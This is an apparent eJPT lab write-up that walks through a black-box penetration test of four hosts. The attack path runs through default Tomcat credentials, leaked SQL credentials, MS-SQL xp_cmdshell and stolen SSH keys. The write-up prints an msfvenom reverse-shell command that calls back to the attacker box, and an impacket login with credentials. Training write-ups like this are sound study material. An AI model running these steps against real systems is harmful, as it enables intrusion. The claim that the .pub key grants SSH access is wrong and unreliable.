Penetration Test #1

Black Box Penetration Test #1

eJPT Labs - Black-box Penetration Test #1 Write-Up

topics: Web application attacks, broken authentication, improper configuration/file permissions/access control

1. Enumeration

2. 172.16.64.101 Flag

3. 172.16.64.199 Flag

4. 172.16.64.182 Flag

tools: fping, nmap, dev tools, dirsearch, ssh, mysql, certutil, msfvenom, nc, OSINT

Enumeration

Initial nmap scans on 172.16.64.0/24 range

fping -a -g 172.16.64.0/24 2>/dev/null && nmap -sS 172.16.64.101,140,182,199

We can see there are 4 active machines on this subnet. They consist of a mix of websites via HTTP (proxy), SMB server, MS-SQL server and open SSH ports. Most all except for x.101 are using common ports. Lets enumerate each service individually.

x.x.101

I decided to attack x.101 first as the unconventional port sticks out from the rest. Upon analyzing the more detailed nmap scans, it was revealed to be a Tomcat/Coyote JSP Server.

Researching default tomcat server creds can reveal combinations such as tomcat:tomcat and admin:admin, above we can see the server's 401 Unauthorized page reveals default credentials for this server that are still enabled.

The dirsearch scans and vulnerability research point to the /manager directory as a potential management/admin panel with console/shell access.

Using the default credentials the server improperly revealed, we are met with the Tomcat App Manager home page

Below we are given an option to deploy arbitrary .WAR files, implying we can upload a reverse shell with ease.

x.x.140

We did not find anything of value regarding x.140 from compromising x.101 so I began enumerating the only open port, HTTP with dirsearch

Immediately dirsearch returns the /project directory, which also reveals default credentials upon request

Following successful login with default credentials, the home page appears to be a default company home page with no items of interest at first glance.

Flag

As /project serves as the home page for this website, it wouldn't be unreasonable to think there are further hidden directories within /project, running dirsearch again reveals the following additional directories under /project/backup

301 status code, run dirsearch again on /project/backup

/images and /backup/backup both proved to be rabbit holes, however /test contained critically revealing information in the form of SQL credentials

interesting files

Here we have the flag and plaintext admin credentials for the MS-SQL Server which we can seemingly use to execute commands or arbitrary code on

Following contents of dsadasda, sdadas, and test1.txt respectively

Enumeration Results

IP	Port/Services	OS	Results
172.16.64.101	22, 8080 (HTTP), 9080 (HTTP), 59919	Ubuntu 16	Default creds for Tomcat/Coyote leads to web shell
172.16.64.140	80 (http)	Ubuntu	Backups directory, hidden directory with SQL creds
172.16.64.182	22 (SSH)	Ubuntu	SSH key found on SQL server
172.16.64.199	135, 139 (RPC), 445 (SMB), 1433 (MS-SQL)	Windows 10	MS-SQL server vulnerable to impacket w/creds

x.x.101 Flag

We can create a standard .WAR reverse shell using msfvenom: msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.64.10 LPORT=53 -f war > test.war

Following the successful upload of the shell, we can navigate to x.101/test

Flag located on the desktop of elsuser and adminels

Other than the usernames adminels, elsuser, and developer nothing of note or reference to other machines on this VLAN was found on this machine.

x.x.199 Flag

Now that we have acquired credentials for x.199, we can use impacket's mssqlclient to run remote abitrary commands on the SQL server and download a reverse shell from the attack box

Once we have the ability to run code, we can establish a reverse shell for persistence and seek out information for the final machine x.182

python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py fooadmin:fooadmin@172.16.64.199

In order to execute arbitrary commands, we need to utlize the xp_cmdshell command. First by enabling it with enable_xp_cmdshell creating a .exe shell with msfvenom and transferring the file with certutil

x.x.182 Flag

Following the compromise of x.199, once we begin enumerating with local privileges, we come across SSH keys and the flag on the desktop of adminels

All we need to do is simply copy the entire .pub key, save it locally with chmod 600 permissions and SSH into the final machine